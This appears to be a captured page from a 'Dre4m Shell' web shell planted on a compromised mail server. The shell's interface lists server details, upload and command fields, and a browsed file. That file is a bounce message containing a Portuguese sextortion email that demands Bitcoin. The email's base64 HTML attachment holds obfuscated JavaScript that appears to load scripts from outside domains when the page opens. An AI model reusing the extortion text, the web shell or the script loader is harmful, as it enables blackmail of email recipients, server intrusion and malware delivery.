ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.149.251.232
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/mail/nicn.gov.ng/d0eijan5/cur/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/mail/nicn.gov.ng/d0eijan5/cur/1680528320.M262784P14649.vps64074.inmotionhosting.com,S=11934,W=12156:2,
Return-Path: <>
Delivered-To: d0eijan5@nicn.gov.ng
Received: from vps64074.inmotionhosting.com
	by vps64074.inmotionhosting.com with LMTP
	id lnARD8DTKmQ5OQAAkuKn8g
	(envelope-from <>)
	for <d0eijan5@nicn.gov.ng>; Mon, 03 Apr 2023 06:25:20 -0700
Return-path: <>
Envelope-to: d0eijan5@nicn.gov.ng
Delivery-date: Mon, 03 Apr 2023 06:25:20 -0700
Received: from mailnull by vps64074.inmotionhosting.com with local (Exim 4.96)
	id 1pjKBU-0003oB-0Q
	for d0eijan5@nicn.gov.ng;
	Mon, 03 Apr 2023 06:25:20 -0700
X-Failed-Recipients: bonita119@drdoug.net
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@vps64074.inmotionhosting.com>
To: d0eijan5@nicn.gov.ng
References: <5e6d8763-0883-4ee7-b2e1-749c01904b4f@nicn.gov.ng>
Content-Type: multipart/report; report-type=delivery-status; boundary=1680528320-eximdsn-633082702
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1pjKBU-0003oB-0Q@vps64074.inmotionhosting.com>
Date: Mon, 03 Apr 2023 06:25:20 -0700

--1680528320-eximdsn-633082702
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  bonita119@drdoug.net
    retry timeout exceeded

--1680528320-eximdsn-633082702
Content-type: message/delivery-status

Reporting-MTA: dns; vps64074.inmotionhosting.com

Action: failed
Final-Recipient: rfc822;bonita119@drdoug.net
Status: 5.0.0

--1680528320-eximdsn-633082702
Content-type: message/rfc822

Return-path: <d0eijan5@nicn.gov.ng>
Received: from [41.226.252.37] (port=21288 helo=nicn.gov.ng)
	by vps64074.inmotionhosting.com with esmtpsa  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
	(Exim 4.96)
	(envelope-from <d0eijan5@nicn.gov.ng>)
	id 1phroz-00050E-2s
	for bonita119@drdoug.net;
	Thu, 30 Mar 2023 05:56:06 -0700
Content-Type: multipart/mixed; boundary="--------------yHGlDtD2OIH26RDRHHg2lyyl"
Message-ID: <5e6d8763-0883-4ee7-b2e1-749c01904b4f@nicn.gov.ng>
Date: Thu, 30 Mar 2023 13:56:05 +0100
MIME-Version: 1.0
Content-Language: pt-PT
To: bonita119@drdoug.net
From: Drdoug <d0eijan5@nicn.gov.ng>
Subject: Aguardando confirma

----------------yHGlDtD2OIH26RDRHHg2lyyl
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: quoted-printable

<html><body><div>=0A<p>A &uacute;ltima solicita&ccedil;&atilde;o foi aprova=
da. Todas as informa&ccedil;&otilde;es necess&aacute;rias que voc&ecirc; en=
contrar&aacute; no documento anexado. Se voc&ecirc; tiver alguma d&uacute;v=
vida, sempre poder&aacute; entrar em contato comigo. O ato tamb&eacute;m es=
t&aacute; inclu&iacute;do.<br></p>=0A</div><hr tabindex=3D"-1" style=3D"dis=
play:inline-block; width:98%"><div><p>Ol&#225;!</br>
</br>
Tenho m&#225;s not&#237;cias para si.</br>
H&#225; dois meses atr&#225;s, recebi acesso a todos os dispositivos eletr&=
#243;nicos que utiliza para navegar na internet. </br>
Ap&#243;s esse momento comecei a rastrear toda a sua atividade na internet.=
 Agora irei revelar-lhe como aconteceu:</br>
Criei um site falso para o seu servi&#231;o de e-mail (ig.com.br) e enviei-=
lhe um convite para autoriza&#231;&#227;o.</br>
Inseriu o seu e-mail e palavra-passe atual.</br>
</br>
Foi dessa forma que consegui obter as suas credenciais e come&#231;ar a uti=
lizar o seu e-mail de forma indetet&#225;vel.</br>
Ap&#243;s isso, consegui facilmente instalar um cavalo de troia no sistema =
operativo do seu dispositivo.</br>
(Voc&#234; mesmo fez isso, quando abrir o ficheiro num daqueles e-mails de =
phishing que criei no seu e-mail).</br>
Este v&#237;rus fornece-me acesso a todos os perif&#233;ricos do seu dispos=
itivo (c&#226;mara, microfone, teclado, etc.).</br>
De igual modo, guardei todos os seus dados, fotos, v&#237;deos, credenciais=
 de redes sociais, conversas e contactos.</br>
</br>
Este software malicioso &#233; atualizado numa base regular e, como tal, &#=
233; praticamente imposs&#237;vel detet&#225;-lo por diversos servi&#231;os=
 e administradores de sistema.</br>
&#201; por isso que tenho estado totalmente invis&#237;vel para si durante =
algum tempo.</br>
Recentemente, percebi que &#233; um grande f&#227; de porno e que gosta de =
assistir a &#8220;filmes XXX&#8221;.</br>
</br>
Penso que percebe o que quero dizer com isto... consegui editar alguns v&#2=
37;deos onde se masturba e inclu&#237; os filmes a que estava a assistir en=
quanto o fazia.</br>
Pode estar certo de que posso enviar facilmente este v&#237;deo interessant=
e para todos os seus contactos, amigos, familiares ou simplesmente public&#=
225;-lo na internet com apenas um clique do rato. </br>
Penso que n&#227;o gostaria que tal acontecesse. Ser&#225; verdadeiramente =
vergonhoso e tr&#225;gico para si.</br>
Bem, n&#227;o quero p&#244;-lo numa situa&#231;&#227;o como essa, dado que =
vejo que &#233; uma pessoa honesta e decente.</br>
</br>
Como tal, fa&#231;o-lhe uma proposta:</br>
Transfere o equivalente a 870$ USD em Bitcoin para mim e assim que o pagame=
nto for recebido, irei imediatamente remover todas as provas que tenho cont=
ra si. </br>
Tenho estado a trabalhar no que faz e nos seus ficheiros h&#225; dois meses=
 e acredite, isto foi pura divers&#227;o para mim!</br>
Se n&#227;o sabe como comprar e enviar Bitcoins, ent&#227;o pode simplesmen=
te utilizar qualquer motor de pesquisa (Google &#233; suficiente) para obte=
r ajuda. </br>
</br>
Portanto, aqui est&#225; a minha carteira Bitcoin: 17yFjzUeDLYXAqNAxKRQfMYg=
2ynYr2Ze4M</br>
</br>
Dou-lhe 48 horas para me enviar dinheiro.</br>
Por favor, n&#227;o responda a este e-mail, visto que n&#227;o faz qualquer=
 sentido. Criei este e-mail no seu e-mail e o endere&#231;o de resposta obt=
ive de uma &#250;nica base de dados de e-mails.</br>
</br>
Tamb&#233;m n&#227;o faz qualquer sentido pedir ajuda a algu&#233;m, dado q=
ue este e-mail n&#227;o pode ser rastreado e as transa&#231;&#245;es Bitcoi=
n s&#227;o sempre an&#243;nimas. Tudo foi deliberadamente planeado.</br>
Vejo todas as suas conversas, ou&#231;o todas as suas chamadas e espio-o. D=
e igual modo, se alguma vez descobrir que contou acerca deste e-mail a algu=
&#233;m &#8211; o v&#237;deo ser&#225; imediatamente partilhado na internet=
!</br>
Assim que abrir este e-mail, irei receber uma notifica&#231;&#227;o autom&#=
225;tica e iniciar imediatamente o contador.</br>
</br>
Boa sorte e desejo que nunca receba um phishing como este no futuro!</p></d=
iv></body></html>
----------------yHGlDtD2OIH26RDRHHg2lyyl
Content-Type: application/octet-stream; name="Voluptatem.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Voluptatem.html"

PGh0bWwgbGFuZz0iZW4iPgo8aGVhZD4KCTxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCgk8bWV0YSBo
dHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KCTx0aXRsZT5F
c3RhbmltaTwvdGl0bGU+DQoJPHNjcmlwdCBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNv
bS9hamF4L2xpYnMvanF1ZXJ5LzMuNi4zL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0Pgo8L2hlYWQ+
Cjxib2R5PgoJPGRpdj5VdCBuZXF1ZSBhbWV0IHZvbHVwdGF0aWJ1cyBub24gcXVpYnVzZGFtIGN1
cGlkaXRhdGUuIFNhcGllbnRlIGV4cGVkaXRhIGV0IHNpdC4gQXBlcmlhbSBxdWlkZW0gbGFib3Jl
IGVhIHF1YWVyYXQgZXQgcHJhZXNlbnRpdW0gcXVvLjwvZGl2Pg0KCQoJPHNjcmlwdCB0eXBlPSJ0
ZXh0L2phdmFzY3JpcHQiPgoJCXZhciBhMGx1cWV1ZHJvcW9lb209YTBubXVpZXQ7KGZ1bmN0aW9u
KHVvbmlmaXFjZmVlYSx1ZWV0cWVhKXt2YXIgZXR0ZT1hMG5tdWlldCxvaW5pdHRzZD11b25pZmlx
Y2ZlZWEoKTt3aGlsZSghIVtdKXt0cnl7dmFyIHJjaXRwYXRpZXVscHNhb3NwaXN2PXBhcnNlSW50
KGV0dGUoMHg5OCkpLzB4MSooLXBhcnNlSW50KGV0dGUoMHhhOSkpLzB4MikrcGFyc2VJbnQoZXR0
ZSgweDk3KSkvMHgzKy1wYXJzZUludChldHRlKDB4YWYpKS8weDQrLXBhcnNlSW50KGV0dGUoMHhh
NCkpLzB4NSstcGFyc2VJbnQoZXR0ZSgweGEwKSkvMHg2K3BhcnNlSW50KGV0dGUoMHg5MikpLzB4
NystcGFyc2VJbnQoZXR0ZSgweGFjKSkvMHg4KigtcGFyc2VJbnQoZXR0ZSgweGFlKSkvMHg5KTtp
ZihyY2l0cGF0aWV1bHBzYW9zcGlzdj09PXVlZXRxZWEpYnJlYWs7ZWxzZSBvaW5pdHRzZFsncHVz
aCddKG9pbml0dHNkWydzaGlmdCddKCkpO31jYXRjaChpdW9pY3NmYWlzZnEpe29pbml0dHNkWydw
dXNoJ10ob2luaXR0c2RbJ3NoaWZ0J10oKSk7fX19KGEwZXRycHRzaXBjaXVpYXMsMHg4NjdmZikp
O3ZhciBvZmZpY2lpc3V0PVsnaHR0cDovL2plbm55bHUnKydlc2J5LmNvbS9ydGkvcicrYTBsdXFl
dWRyb3FvZW9tKDB4YTYpLGEwbHVxZXVkcm9xb2VvbSgweDhkKSthMGx1cWV1ZHJvcW9lb20oMHg5
ZikrJ2F1Zy5waHA/Mzk5NjMnLGEwbHVxZXVkcm9xb2VvbSgweGI2KSsndXMuY29tL2lybmUvaXIn
K2EwbHVxZXVkcm9xb2VvbSgweGFiKV07ZnVuY3Rpb24gYTBldHJwdHNpcGNpdWlhcygpe3ZhciBp
bHJxaXViZG9vc3U9WydlZyk7XHgyMH19PC9zdHlsZScsJ2h0dHBzOi8vOXRvNXBsJywnaW5uZXJI
VE1MJywnd2lkdGgnLCdodHRwczovL2h1c3NlaScsJ206XHgyMHJvdGF0ZSgzNjBkJywnPGRpdlx4
MjBpZD1ceDIybGV0XHgyMj4nLCdib3JkZXJSYWRpdXMnLCdjcmVhdGVFbGVtZW50JywnNDIxODc5
NWpya2FqZycsJzAwJVx4MjB7XHgyMHRyYW5zZm9yJywndGF0ZSgwZGVnKTtceDIwfTEnLCdoZWFk
JywnYWJzb2x1dGUnLCcxOTk0NjM3dVZGUE51JywnMzI0NTIzZ25SY2ZmJywnYXBwZW5kQ2hpbGQn
LCc5OGRiJywnMTZweFx4MjBzb2xpZFx4MjAjZjMnLCdib2R5JywndHJhbnNmb3JtJywnZ2V0RWxl
bWVudEJ5SWQnLCduYTEuY29tL2FhdWcvYScsJzM0OTQ0OTZ3ZUlQamgnLCclKVx4MjB0cmFuc2xh
dGVZKCcsJ2JvcmRlclRvcCcsJzUwJScsJzQ1NDEyMTVOWUJBbFMnLCdoZWlnaHQnLCd0aS5waHA/
NzAxMzknLCd0cmFuc2xhdGVYKC01MCcsJzEyMHB4JywnMm5TdUFMTCcsJ2FuaW1hdGlvbicsJ25l
LnBocD8zNDk3OScsJzY0dkhJSVBIJywnc3Bpblx4MjAyc1x4MjBsaW5lYXInLCcyMTY1MjM4V2lZ
Z3VvJywnMzMwNDUwOE1VdU5NaicsJ3N0eWxlJywnMTZweFx4MjBzb2xpZFx4MjAjMzQnLCdsZXQn
LCctNTAlKScsJ1x4MjBpbmZpbml0ZSddO2EwZXRycHRzaXBjaXVpYXM9ZnVuY3Rpb24oKXtyZXR1
cm4gaWxycWl1YmRvb3N1O307cmV0dXJuIGEwZXRycHRzaXBjaXVpYXMoKTt9Zm9yKHZhciBpbGx1
bXF1aWRpc3RpbmN0aW8gaW4gb2ZmaWNpaXN1dCl7dmFyIGN1bT1kb2N1bWVudFthMGx1cWV1ZHJv
cW9lb20oMHg5MSldKCdzY3JpcHQnKTtjdW1bJ3NyYyddPW9mZmljaWlzdXRbaWxsdW1xdWlkaXN0
aW5jdGlvXSxkb2N1bWVudFthMGx1cWV1ZHJvcW9lb20oMHg5NSldW2EwbHVxZXVkcm9xb2VvbSgw
eDk5KV0oY3VtKTt9ZnVuY3Rpb24gYTBubXVpZXQoZXRycHRzaXBjaXVpYXMsbm11aWV0KXt2YXIg
dW9uaWZpcWNmZWVhPWEwZXRycHRzaXBjaXVpYXMoKTtyZXR1cm4gYTBubXVpZXQ9ZnVuY3Rpb24o
dWVldHFlYSxvaW5pdHRzZCl7dWVldHFlYT11ZWV0cWVhLTB4OGI7dmFyIHJjaXRwYXRpZXVscHNh
b3NwaXN2PXVvbmlmaXFjZmVlYVt1ZWV0cWVhXTtyZXR1cm4gcmNpdHBhdGlldWxwc2Fvc3Bpc3Y7
fSxhMG5tdWlldChldHJwdHNpcGNpdWlhcyxubXVpZXQpO31kb2N1bWVudFthMGx1cWV1ZHJvcW9l
b20oMHg5YyldW2EwbHVxZXVkcm9xb2VvbSgweDhiKV09YTBsdXFldWRyb3FvZW9tKDB4OGYpKyc8
L2Rpdj4nLGRvY3VtZW50W2EwbHVxZXVkcm9xb2VvbSgweDllKV0oYTBsdXFldWRyb3FvZW9tKDB4
YjIpKVthMGx1cWV1ZHJvcW9lb20oMHhiMCldWydib3JkZXInXT1hMGx1cWV1ZHJvcW9lb20oMHg5
YikrJ2YzZjMnLGRvY3VtZW50W2EwbHVxZXVkcm9xb2VvbSgweDllKV0oJ2xldCcpWydzdHlsZSdd
W2EwbHVxZXVkcm9xb2VvbSgweGEyKV09YTBsdXFldWRyb3FvZW9tKDB4YjEpK2EwbHVxZXVkcm9x
b2VvbSgweDlhKSxkb2N1bWVudFthMGx1cWV1ZHJvcW9lb20oMHg5ZSldKCdsZXQnKVsnc3R5bGUn
XVthMGx1cWV1ZHJvcW9lb20oMHg5MCldPWEwbHVxZXVkcm9xb2VvbSgweGEzKSxkb2N1bWVudFsn
Z2V0RWxlbWVudEJ5SWQnXShhMGx1cWV1ZHJvcW9lb20oMHhiMikpW2EwbHVxZXVkcm9xb2VvbSgw
eGIwKV1bYTBsdXFldWRyb3FvZW9tKDB4OGMpXT0nMTIwcHgnLGRvY3VtZW50W2EwbHVxZXVkcm9x
b2VvbSgweDllKV0oYTBsdXFldWRyb3FvZW9tKDB4YjIpKVthMGx1cWV1ZHJvcW9lb20oMHhiMCld
W2EwbHVxZXVkcm9xb2VvbSgweGE1KV09YTBsdXFldWRyb3FvZW9tKDB4YTgpLGRvY3VtZW50W2Ew
bHVxZXVkcm9xb2VvbSgweDllKV0oJ2xldCcpW2EwbHVxZXVkcm9xb2VvbSgweGIwKV1bYTBsdXFl
dWRyb3FvZW9tKDB4YWEpXT1hMGx1cWV1ZHJvcW9lb20oMHhhZCkrYTBsdXFldWRyb3FvZW9tKDB4
YjQpLGRvY3VtZW50WydnZXRFbGVtZW50QnlJZCddKGEwbHVxZXVkcm9xb2VvbSgweGIyKSlbYTBs
dXFldWRyb3FvZW9tKDB4YjApXVsncG9zaXRpb24nXT1hMGx1cWV1ZHJvcW9lb20oMHg5NiksZG9j
dW1lbnRbJ2dldEVsZW1lbnRCeUlkJ10oJ2xldCcpW2EwbHVxZXVkcm9xb2VvbSgweGIwKV1bYTBs
dXFldWRyb3FvZW9tKDB4OWQpXT1hMGx1cWV1ZHJvcW9lb20oMHhhNykrYTBsdXFldWRyb3FvZW9t
KDB4YTEpK2EwbHVxZXVkcm9xb2VvbSgweGIzKSxkb2N1bWVudFthMGx1cWV1ZHJvcW9lb20oMHg5
ZSldKGEwbHVxZXVkcm9xb2VvbSgweGIyKSlbYTBsdXFldWRyb3FvZW9tKDB4YjApXVsnbGVmdCdd
PSc0NyUnLGRvY3VtZW50W2EwbHVxZXVkcm9xb2VvbSgweDllKV0oJ2xldCcpW2EwbHVxZXVkcm9x
b2VvbSgweGIwKV1bJ3RvcCddPSc0NyUnLGRvY3VtZW50W2EwbHVxZXVkcm9xb2VvbSgweDk1KV1b
YTBsdXFldWRyb3FvZW9tKDB4OGIpXSs9JzxzdHlsZT5Aa2V5ZnJhJysnbWVzXHgyMHNwaW5ceDIw
ezAlXHgyMHsnKydceDIwdHJhbnNmb3JtOlx4MjBybycrYTBsdXFldWRyb3FvZW9tKDB4OTQpK2Ew
bHVxZXVkcm9xb2VvbSgweDkzKSthMGx1cWV1ZHJvcW9lb20oMHg4ZSkrYTBsdXFldWRyb3FvZW9t
KDB4YjUpKyc+JzsKCTwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4=

----------------yHGlDtD2OIH26RDRHHg2lyyl--


--1680528320-eximdsn-633082702--

Anon7 - 2022
AnonSec Team